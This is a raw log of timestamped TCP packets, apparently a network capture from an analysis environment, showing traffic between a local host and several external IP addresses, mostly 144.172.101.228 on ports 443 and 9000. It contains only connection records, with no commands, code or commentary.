May 21, 2025 21:48:58.194875956 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.281409979 CEST	49702	80	192.168.2.5	18.188.153.65
May 21, 2025 21:48:58.281459093 CEST	49703	80	192.168.2.5	18.188.153.65
May 21, 2025 21:48:58.303316116 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.309437990 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.309542894 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.412420034 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.420844078 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.420955896 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.444072008 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.492286921 CEST	80	49703	18.188.153.65	192.168.2.5
May 21, 2025 21:48:58.492301941 CEST	80	49702	18.188.153.65	192.168.2.5
May 21, 2025 21:48:58.492352009 CEST	49702	80	192.168.2.5	18.188.153.65
May 21, 2025 21:48:58.492352009 CEST	49703	80	192.168.2.5	18.188.153.65
May 21, 2025 21:48:58.516006947 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.551569939 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:58.552769899 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:58.552853107 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:58.553031921 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:58.557337046 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.559278965 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.559298992 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:58.559500933 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.559597015 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:58.561306000 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:48:58.561320066 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:48:58.628575087 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.634259939 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.634346962 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.636153936 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.682176113 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.719475031 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.719805002 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.751004934 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.793375015 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.831371069 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.877939939 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.881516933 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.924272060 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:58.990601063 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:58.990825891 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.039067030 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084754944 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084901094 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084913015 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084922075 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084933043 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084943056 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084954023 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084958076 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.084963083 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084973097 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.084983110 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.084992886 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.084995985 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.085031033 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.089477062 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.105431080 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.105716944 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.201539993 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.215630054 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.215919018 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275579929 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275602102 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275645971 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275659084 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275660038 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.275670052 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275681019 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275692940 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275693893 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.275715113 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.275721073 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275733948 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275743961 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275753975 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275765896 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275769949 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.275777102 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275788069 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275799990 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275804996 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.275810957 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275823116 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275835991 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275836945 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.275846958 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275852919 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.275859118 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.275888920 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.275918961 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.310154915 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.328459978 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.328901052 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.424961090 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.435549021 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.435666084 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467473030 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467497110 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467546940 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467642069 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467653036 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467663050 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467677116 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467690945 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467690945 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467704058 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467715979 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467717886 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467727900 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467737913 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467746973 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467773914 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467789888 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467794895 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467799902 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467811108 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467820883 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467833996 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467835903 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467844009 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467854023 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467871904 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467881918 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467884064 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467892885 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467905045 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467915058 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467926979 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467930079 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467936993 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467947960 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467953920 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467959881 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467969894 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.467971087 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467983007 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467998028 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.467998981 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.468008041 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468014956 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.468018055 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468029022 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468029976 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.468040943 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468045950 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.468051910 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468064070 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468075037 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468085051 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468086004 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.468096018 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468096018 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.468106031 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.468130112 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.468154907 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.535075903 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.542469978 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.542608023 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.647931099 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.657947063 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.657968998 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.657982111 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.657993078 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658055067 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.658107042 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.658286095 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658298016 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658309937 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658344030 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.658440113 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658452988 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658463955 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658474922 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658483982 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.658488035 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658500910 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658504963 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.658515930 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.658554077 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.658581972 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.660180092 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.660373926 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.661591053 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.754513979 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.776843071 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.777157068 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.853353977 CEST	9000	49757	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.853416920 CEST	49757	9000	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.867460966 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.890314102 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:48:59.890439987 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:48:59.983099937 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.017442942 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:00.017647028 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.096678972 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.140767097 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:00.140908003 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.209398985 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.250298977 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:00.250433922 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.337699890 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.358633041 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:00.358848095 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.462030888 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.466156960 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:00.466273069 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.569534063 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.576390982 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:00.576472998 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.680963039 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.691596985 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:00.691679955 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.788734913 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.799128056 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:00.799209118 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.894772053 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:00.915286064 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:00.915383101 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.017563105 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.028212070 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.028359890 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.122795105 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.143022060 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.143137932 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.235554934 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.255376101 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.255513906 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.350014925 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.370455980 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.370651007 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.466415882 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.482911110 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.483108997 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.574502945 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:01.574502945 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:01.574533939 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:01.574551105 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:01.574568033 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:01.574580908 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:01.574583054 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:01.574588060 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:01.580890894 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.589683056 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.589781046 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.690067053 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.699079990 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.699152946 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.807205915 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.808284998 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.808429956 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.850688934 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.912224054 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.914808989 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:01.960272074 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:01.971539974 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:01.971832037 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:01.971940041 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:01.972242117 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:01.974678993 CEST	443	49755	142.250.141.94	192.168.2.5
May 21, 2025 21:49:01.976567984 CEST	49755	443	192.168.2.5	142.250.141.94
May 21, 2025 21:49:02.017976999 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.022665024 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:02.022779942 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.128174067 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.135966063 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:02.136065960 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.236892939 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.244184017 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:02.244388103 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.346144915 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.351162910 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:02.351284027 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.454818010 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.464231014 CEST	49744	443	192.168.2.5	172.67.74.152
May 21, 2025 21:49:02.464308977 CEST	443	49744	172.67.74.152	192.168.2.5
May 21, 2025 21:49:02.465723991 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:02.465853930 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.565526009 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.575700998 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:02.575812101 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.670813084 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.682790995 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:02.682904005 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.785276890 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.792359114 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:02.792504072 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.894922972 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:02.901352882 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:02.901473045 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.001759052 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.014019966 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.014175892 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.118319988 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.156678915 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.156871080 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.220724106 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.275666952 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.306099892 CEST	49745	443	192.168.2.5	104.26.12.205
May 21, 2025 21:49:03.306108952 CEST	443	49745	104.26.12.205	192.168.2.5
May 21, 2025 21:49:03.333525896 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.377567053 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.447021008 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.447057962 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.477974892 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.524631977 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.555888891 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.600285053 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.663525105 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.663556099 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.766603947 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.778678894 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.778739929 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.878784895 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.886605024 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.886653900 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.987051964 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:03.995956898 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:03.996006966 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.097043037 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.112490892 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:04.112543106 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.203814030 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.218056917 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:04.218106031 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.254780054 CEST	49732	443	192.168.2.5	150.171.27.10
May 21, 2025 21:49:04.255028963 CEST	443	49732	150.171.27.10	192.168.2.5
May 21, 2025 21:49:04.255089045 CEST	49732	443	192.168.2.5	150.171.27.10
May 21, 2025 21:49:04.313324928 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.323332071 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:04.323383093 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.431215048 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.434027910 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:04.434079885 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.535494089 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.541886091 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:04.541968107 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.641664028 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.650440931 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:04.650490999 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.753588915 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.760193110 CEST	49753	443	192.168.2.5	144.172.101.228
May 21, 2025 21:49:04.760287046 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.861852884 CEST	443	49753	144.172.101.228	192.168.2.5
May 21, 2025 21:49:04.872733116 CEST	49753	443	192.168.2.5	144.172.101.228
